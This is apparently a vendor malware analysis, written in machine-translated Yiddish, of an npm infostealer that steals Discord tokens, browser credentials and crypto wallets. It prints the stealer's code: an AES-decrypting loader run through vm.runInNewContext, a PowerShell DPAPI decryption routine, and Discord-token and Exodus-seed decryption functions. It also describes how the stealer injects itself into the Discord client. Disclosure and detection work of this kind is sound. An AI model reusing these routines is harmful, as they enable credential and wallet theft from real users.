npm אינפאָסטילער

נייע npm אינפאָסטילער אויפדעקונג: ניקס סטילער כאַפּט דיסקאָרד סעסיעס

טל; דר

די קסיגעני זיכערהייט פארשונג מאַנשאַפֿט אידענטיפיצירט א סאפיסטיקירטע npm אינפאָסטילער קאמפיין וואס איז געווארן איבערגעגעבן דורך צוויי בייזוויליגע פּעקלעך: קאנסאלאפיע און זעלבסטבאָט-לאָפי.

די לעצטע ווערסיע (consolelofy@1.3.0) לייגט אריין א 216KB AES-ענקריפּטעד פּיילאָוד וואָס דעקריפּטירט ביי ראַנטיים און עקסאַקיוטאַד דורך vm.runInNewContext()ווייל די בייזוויליקע לאָגיק איז גאָר ענקריפּטעד, קענען סטאַטישע סקאַנערס וואָס פאַרלאָזן זיך אויף סטרינג דורכקוק נישט באַאָבאַכטן איר נאַטור ביז דער אויספיר צייט.

אַמאָל דעקריפּטעד, די פּיילאָוד, אינטערנאַלי בראַנדעד ניקס סטילער, צילן:

  • דיסקאָרד אויטענטיפיקאציע טאָקענס
  • 50+ בראַוזער קרעדענשאַל סטאָרז
  • 90+ קריפּטאָקוררענסי בייַטל עקסטענשאַנז
  • ראָבלאָקס, אינסטאַגראַם, ספּאָטיפיי, סטים, טעלעגראַם, און טיקטאָק סעסיעס
  • דיסקאָרד דעסקטאַפּ קליענט פּערסיסטענס

אלע 20 ווערסיעס אין ביידע פעקלעך זענען געמאלדן און באשטעטיגט געווארן אלס בייזוויליג.

טעכנישער איבערבליק פון דעם npm אינפאָסטילער

אנדערש ווי טראדיציאנעלע אינסטאלירונג-צייט מאלווער, פארלאזט זיך די קאמפיין אויף א רונטימע דעקריפּטיאָן מאָדעל.

עס איז דא:

  • קיין שלעכטס preinstall or postinstall hooks
  • קיין קלאָרע נעץ רופן ביי דער אינסטאַלאַציע צייט
  • קיין פּשוט טעקסט קרעדענשאַל כאַרוואַסטינג לאָגיק

די פּיילאָוד אַקטיוויזירט זיך ווען דער מאָדול ווערט אימפּאָרטירט. דער גאַנצער בייזוויליקער גוף איז ענקריפּטעד און מאַטעריאַליזירט זיך נאָר אין זכּרון בעת ​​לויף-צייט.

דעם פּלאַן ספּעציעל פֿאַרמייַדט דעטעקשאַן בעת ​​פּאַקעט ינסטאַלירונג.

ווי אזוי דער npm אינפאָסטילער ווערט טאַקע אויסגעפירט

איידער מיר אנאליזירן וואס ניקס סטילער גנבעט, דארפן מיר פארשטיין ווי עס ווערט אויסגעפירט.

די בייזוויליקע לאָגיק אין דעם npm אינפאָסטעלער פֿאָלגט אַ קאָנסיסטענטן מוסטער:

א קליינער לאָדער דעקריפּטירט אַ גרויסע ענקריפּטעד פּיילאָוד און עקסעקוטירט עס דינאַמיש אין אַ Node.js VM קאָנטעקסט.

די דאזיגע פּלאַן איז באַוואוסטזיניק. דער אַטאַקירער באַהאַלט נישט פונקציאָנאַליטעט הינטער פֿאַרשטויכונג אַליין, זיי זענען אינגאנצן אוועקנעמען דעם בייזוויליקן קאוד פון סטאטישער זעבארקייט.

הויך-לעוועל אויספיר מאָדעל

אויף אַ הויכן לעוועל, טוט דער ראַפּער פיר זאכן:

  • נעמט ארויס אן AES שליסל פון א הארט-קאדירטן פאסווארט ניצנדיג SHA-256
  • דעקריפּטירט אַ גרויסן העקס-ענקאָודעד סיפערטעקסט ניצנדיק AES-256-CBC
  • פירט אויס דעם דעקריפּטירטן דזשאַוואַסקריפּט ניצנדיק vm.runInNewContext()
  • גיט אַ זאַמדקאַסטן וואָס נאָך אַלץ ענטפּלעקט שטאַרקע ראַנטיים פּרימיטיוון

קאָר טעכניק סאַמערי

קאָמפּאָנענט קאָנפיגוראַציע / ווערט
אַלגאָריטהם AES-256-CBC
שליסל דעריוואַטיאָן SHA-256 (פּאַראָל)
איניציאליזאציע וועקטאָר (IV) 16 בייטס פון 0x00
דורכפירונג vm.runInNewContext(דעקריפּטעד, זאַמדקאַסטן)

קריטיש, די זאַמדקאַסטן גייט דורך:

  • require
  • process
  • Buffer
  • טיימערז
  • מאָדול עקספּאָרטן

דאָס מיינט אַז די דעקריפּטירטע פּיילאָוד האַלט די פולע מעגלעכקייט צו:

  • שאַפֿן פּראָצעסן
  • לייענען און שרייבן טעקעס
  • מאַכן נעץ רופן
  • מאָדיפֿיצירן לאָקאַלע אַפּליקאַציעס

דאָס איז נישט קיין באַגרענעצטע ווירטועל מאַשין. עס איז אַ ווירטועל מאַשין וואָס ווערט גענוצט ווי אַן עקסעקוציע טראַמפּאָלין.

ראַנטיים ענקריפּשאַן מוסטער (קאָר עקסעקוטיאָן מעקאַניזאַם)

דער לאָודער איז קליין.
דער בייזוויליקער קערפער איז נישט.

אונטן איז די אויספירונג מוסטער געפונען אינעם פעקל:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

וואָס דעם מאַטטערס

די דעקריפּטירטע פּיילאָוד:

  • טוט ניט טאָן עקזיסטירן אין פּשוטן טעקסט אינעווייניק פון דעם npm פּעקל
  • איז נישט קענטיק צו פּשוטע grep אדער סטאַטישע סטרינג סקאַנינג
  • מאַטעריאַליזירט זיך נאָר אין זכּרון בײַם לויפֿן
  • עקסעקוטירט מיט פולע נאָדע ראַנטיים קייפּאַבילאַטיז

די AES + VM עקסעקוציע קאָמבינאַציע איז אַ שטאַרקער נאַטור-אינדיקאַטאָר פון אַ npm אינפאָ-גנב פּרוּווט אויסצומיידן סטאַטישע דורכקוק.

אין אנדערע ווערטער:

אויב איר סקענט דעם פּעקעדזש קוואַל בוים, זעט איר נישט קיין גנב.
איר זעט אַ דעקריפּטאָר.

וואָס פּאַסירט נאָך דעקריפּטאַציע

אַמאָל עקסעקוטעד, ניקס סטילער לאָנטשט פּאַראַלעלע דאַטן זאַמלונג כוואַליעס.

כוואַליע 1: בראַוזער קרעדענשאַל עקסטראַקציע

די מאַלווער:

  • דאַונלאָודט אַ פּיטהאָן ראַנטיים פֿון נוגעט סי-די-ען
  • אינסטאַלירט קריפּטאָגראַפֿישע ביבליאָטעקן
  • עקסטראַקטירט קראָום-באַזירטע קרעדענשאַל סטאָרז
  • דעקריפּטירט DPAPI-געשיצטע סודות

אנשטאט צו קאמפיילן אייגענע בינדינגס, ניצט עס PowerShell צו רופן Windows DPAPI גלייך.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

די צוגאַנג:

  • פֿאַרמייַדט קאָמפּילאַציע אַרטיפאַקץ
  • ניצט אייגענע ווינדאָוס קריפּטאָ APIs
  • מיש זיך אריין אין אדמיניסטראטיווע מכשירים

עס איז אָפּערייטינג סיסטעם-לעוועל קרעדענשאַל דעקריפּטשאַן, נישט סקראַפּינג.

כוואַליע 2: דיסקאָרד טאָקען דעקריפּטאַציע

דער גנב איז פּראָטאָקאָל-באַוואוסטזיניק. עס פֿאַרשטייט דיסקאָרד'ס ענקריפּטעד טאָקען פֿאָרמאַט.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

אַפּעריישאַנאַל לויפן:

  • ארויסנעמען דעם הויפט שליסל פון דיסקארד Local State
  • דעקריפּטירן הויפּט שליסל דורך DPAPI
  • דעקריפּטירן AES-GCM טאָקען בלאָבס
  • וואַלידירן טאָקענס קעגן דיסקאָרד אַפּי
  • באַרייַכערן מיט ניטראָ, באַדזשעס, בילינג אינפֿאָרמאַציע

דאָס איז נישט קיין אַלגעמיינע קרעדענשאַל דאַמפּינג. דאָס איז פּראָטאָקאָל-באַוואוסטזיניק סעסיע כיידזשעקינג.

כוואַליע 3: קריפּטאָקוררענסי בייַטל טאַרגעטינג

דער npm אינפאָסטילער רעכנט אויס:

  • 90+ בראַוזער בייַטל עקסטענשאַנז
  • 27 דעסקטאַפּ וואָלאַץ
  • קאַלטע בייַטל פּאַטס
  • עקסאָדוס זוימען טעקעס

בייַשפּיל זוימען דעקריפּטיאָן פּרוּוו:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

אויב געראָטן, איז די בייַטל קאָמפּראָמיס באַלדיק און אומקערלעך.

דאָס רעפּרעזענטירט די קאַמפּיין'ס העכסט-ווערט מאָנעטיזאַציע וועקטאָר.

פּערסיסטענס דורך דיסקאָרד דעסקטאָפּ ינדזשעקשאַן

נאכדעם וואס ער האט איינגעזאמלט קרעדענשעלס, פרובירט ניקס סטילער צו האלטן די קראדענשעלס פעסט דורך מאדיפיצירן די לאקאלע דיסקאָרד קונה.

ציל:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

אַפּעריישאַנאַל סיקוואַנס

דער אינפאָסטעלער פירט אויס די פאלגענדע טריט:

  • ענדיגט לויפנדיקע דיסקארד פראצעסן
  • לאָקאַליזירט אינסטאַלירטע דיסקאָרד וועריאַנטן (סטאַביל, קאַנערי, פּי-טי-בי)
  • איבערשרייבט discord_desktop_core/index.js
  • ינדזשעקטירט אַטאַקער-קאָנטראָלירטע וועבהוק לאָגיק
  • הייבט אן דיסקארד ווידער

דאָס גאַראַנטירט אַז צוקונפֿטיקע דיסקאָרד סעסיעס אויטאָמאַטיש ליקן פרישע אויטענטיפיקאַציע טאָקענס.

וויכטיג, די דאזיגע אנהאלטונג פארלאזט זיך נישט אויף געפלאנטע אויפגאבעס אדער רעגיסטרי מאדיפיקאציעס. עס נוצט אפליקאציע-לעוועל קאוד מאדיפיקאציע, א מער געהיימלעכער צוגאנג.

אפילו אויב דער בייזוויליקער npm פּעקל ווערט שפּעטער אַוועקגענומען, בלייבט דער דיסקאָרד קליענט קאָמפּראָמיטירט.

טעכנישער פארגלייך: לעגיטימע סעלטבאָט קעגן npm אינפאָסטילער

קאָמפּאָנענט לעגיטימע ביבליאָטעק ניקס npm אינפאָסטילער
ענקריפּשאַן גאָרניט פולע AES-ענקריפּטעד פּיילאָוד
ראַנטיים ווירטועל מאַשין ניט פארלאנגט vm.runInNewContext דורכפירונג
קרעדענשאַל אַקסעס נאָר דיסקאָרד אַפּי בראַוזער, וואָלאַץ, DPAPI
עקסטערנע דאַונלאָודז ניין פּיטהאָן ראַנטיים דורך נוגעט
פּערסיסטאַנס ניין דיסקאָרד קליענט אינדזשעקשאַן
מאָנעטיזאַטיאָן באָט אויטאָמאַציע קרעדענשאַל ווידערפאַרקויף

די ענקריפּשאַן שיכט אַליין טיילט שוין אָפּ די קאַמפּיין פֿון אַ טיפּישער אָפֿן-מקור גאָפּל.

א לעגיטימער דיסקאָרד סעלטבאָט האט נישט קיין סיבה צו ענקריפטירן זיין גאנצע קאָדבאַזע, שאַפֿן PowerShell צו צוטריטן DPAPI, אראָפּלאָדן עקסטערנע ראַנטיים, אדער מאָדיפיצירן דעסקטאַפּ אַפּליקאַציע אינטערנאַלע טיילן. ווען די מעגלעכקייטן דערשייַנען אין אַ דעפּענדענסי וואָס באַהויפּטט צו אויטאָמאַטיזירן דיסקאָרד אינטעראַקציעס, ווערט די אַרכיטעקטורישע מיסמאַטש אוממעגלעך צו איגנאָרירן.

פֿון אַן אויספֿאָרשונג שטאַנדפּונקט, לאָזט דער npm אינפֿאָ-גנבֿ איבער שפּורן איבער קייפל שיכטן. אָבער, די מערסט פֿאַרלעסלעכע אינדיקאַטאָרן זענען נישט האַרטקאָדירטע URL'ס אָדער ספּעציפֿישע טעקע-פּאַדן, ווײַל יענע קענען זיך ענדערן צווישן ווערסיעס. אַנשטאָט, זענען די דויערהאפטע סיגנאַלן סטרוקטורעל.

אויף פּעקעדזש לעוועל, איז די שטאַרקסטע רויטע פאָן די קאָמבינאַציע פון ​​אַ גרויסע ענקריפּטעד פּיילאָוד און אַ ראַנטיים דעקריפּטיאָן ראַפּער וואָס גלייך עקסאַקיוטאַד דורך vm.runInNewContext()כאָטש ענקריפּשאַן אַליין איז נישט אינהערענט שלעכט, איז ניצן AES דעקריפּטיאָן נאכגעפאָלגט דורך דינאַמיש VM עקסעקוטיאָן אין אַ דיסקאָרד יוטילאַטי פּעקל זייער אַנאַמאַל.

אויף דער האָסט לעוועל, פֿאַרדעכטיקע מוסטערן אַרייַננעמען אומגעריכטע DPAPI דעקריפּטיאָן אַקטיוויטעט, פּראָצעס ספּאָנינג פֿון אַ Node.js דעפּענדענסי קאָנטעקסט, און מאָדיפֿיקאַציע פֿון לאָקאַלע אַפּליקאַציע טעקעס וואָס זאָלן קיינמאָל נישט געביטן ווערן דורך דריט-פּאַרטיי לייברעריז. אזוי אויך, אויף דער נעץ שיכט, רעפּרעזענטירט אַוטבאַונד וועבהוק-סטיל קאָמוניקאַציע איניציאירט דורך אַ דעוועלאָפּמענט דעפּענדענסי נאָך אַ באַדייַטנדיקע אַנאָמאַליע.

מיט אנדערע ווערטער, די דעטעקציע-איבערפלאך איז נישט קיין איינציקער אינדיקאטאר פון קאמפראמיס. עס איז די קארעלאציע פון ​​ענקריפּשאַן, ראַנטיים עקסעקוטיאָן, קרעדענשאַל אַקסעס, און פּערסיסטענס נאַטור וואָס אַנטפּלעקט די סאַקאָנע.

דעטעקציע און מיטיגאציע מיט קסיגעני

npm אינפאָסטילער

דעם npm אינפאָ-גנב איז אידענטיפיצירט געוואָרן דורך Xygeni'ס מאַלוואַרע פרי וואָרענונג (MEW) דורך שיכטיקע ביכייוויעראַל קאָרעלאַציע אלא ווי פּשוט כסימע מאַטשינג.

אנשטאט זוכן פאר באקאנטע בייזוויליגע סטרינגס, עוואַלוירט MEW סטרוקטורעלע אנאמאליעס איבערן גאנצן קוואל בוים. אין דעם פאַל, איז די דעטעקציע ארויסגעקומען פון דער קאָנווערגענץ פון עטלעכע סיגנאַלן: אַן איינגעבעטעטע AES דעקריפּטיאָן רוטין אין דעם מאָדול איינטריט פונקט, באַלדיקע אויספירונג אין אַ VM קאָנטעקסט, און אַ קלאָרע קייפּאַביליטי-צו-כוונה מיסמאַטש.

וויכטיג, קיינער פון די סיגנאלן אליין באווייזט נישט קיין שלעכטע כוונה. אבער, ווען זיי ווערן אנאליזירט צוזאמען, ווייזן זיי אויף א פארזוך צו באהאלטן די אויפפירונג פון די לויף-צייט. די דאזיגע שיכטיקע צוגאנג פארקלענערט באדייטנד פאלשע פאזיטיוון בשעת זי אידענטיפיצירט הויך-זיכערע צושטעל-קייט סכנות.

דערצו, ווייזט דער פאל פארוואס אינסטאלאציע-צייט אינספעקציע אליין איז נישט גענוג. די בייזוויליגע לאגיק געפינט זיך נישט אין לעבנס-ציקל סקריפטן. עס אקטיווירט זיך נאר נאכדעם וואס דער מאדול לאודט זיך און ווערט נאר קענטיק ווען עס ווערט דעקריפטירט אין זכרון. דעריבער, פארלאנגט עפעקטיווע פארטיידיגונג ענקריפּשאַן-באוואוסטזיניגע אנאליז, דערקענונג פון נאַטור-מוסטערן, און קאנטינעווירלעכע אפהענגיקייט מאָניטאָרינג ווייטער פון אינסטאלאציע געשעענישן.

רעגיסטרי אַראָפּנעמען איז רעאַקטיוו. ראַנטיים-באַוואוסטזיניקע אַנאַליז איז פאַרהיטנדיק.

פארוואס דער npm אינפאָסטילער איז וויכטיג

ניקס סטילער רעפּרעזענטירט אַ סטרוקטורעלע עוואָלוציע אין npm-באַזירט מאַלוואַרע.

היסטאָריש, האָבן זיך פילע בייזוויליגע פּעקלעך פֿאַרלאָזט אויף קענטיקע אינסטאַלאַציע-צייט סקריפּטן אָדער קלאָרע קרעדענשאַל עקספֿילטראַציע ענדפּונקטן. אין קאַנטראַסט, די קאַמפּיין פֿאַרשליסל זיין פּיילאָוד, פֿאַרלענגערט די אויספֿירונג צו ראַנטיים, נוצט לעגיטימע אָפּערייטינג סיסטעם APIs, און גרינדעט פּערסיסטענס אין פֿאַרטרויטע אַפּליקאַציעס.

דערפֿאַר דאַרף דער אַטאַקירער נישט אויסנוצן די npm אינפֿראַסטרוקטור אַליין. אַנשטאָט, איז די אַטאַקע געראָטן ווײַל די אינסטאַלאַציע פֿון אָפּהענגיקייט באַדײַט צוטרוי. דעוועלאָפּערס נעמען אָן אַז אימפּאָרטירן אַ ביבליאָטעק איז אַ זיכערע אָפּעראַציע, ספּעציעל ווען עס שטעלט זיך פֿאָר ווי אַ מעגלעכע פֿאָרק פֿון אַ פּאָפּולערן געצייַג.

ווי עקאָסיסטעמען פאָרזעצן צו וואַקסן און גאָפּל פאַרשפּרייטן זיך, ווערט יענע אימפליציטע צוטרוי גרענעץ אַן אַלץ מער אַטראַקטיווע אַטאַק ייבערפלאַך. דעריבער, זיך צו באַשיצן קעגן מאָדערנע npm אינפאָסטילערס פארלאנגט צו דערקענען אַרכיטעקטורישע מוסטערן אַנשטאָט צו זוכן פֿאַר סטאַטישע סטרינגס.

לעסאָף, פארשטארקט די קאמפיין א קריטישע לעקציע אין software supply chain securityדי געפערלעכסטע סכנות זענען נישט די וואָס קוקן שלעכט אויס אויפן ערשטן בליק, נאָר די וואָס קוקן סטרוקטורעל לעגיטימאַט ביז די אָפּעראַציע אַנטפּלעקט זייער אמתע נאַטור.

סקאַ-טולס-סאָפֿטווער-קאָמפּאָזיציע-אַנאַליז-טולס
פּריאָריטיזירן, פאַרריכטן און זיכערן אייערע ווייכווארג ריזיקעס
באַקומען דיין פריי חשבון.
קיין קרעדיט קאַרטל פארלאנגט.

זיכערן אייער ווייכווארג אנטוויקלונג און ליפערונג

מיט Xygeni פּראָדוקט סוויט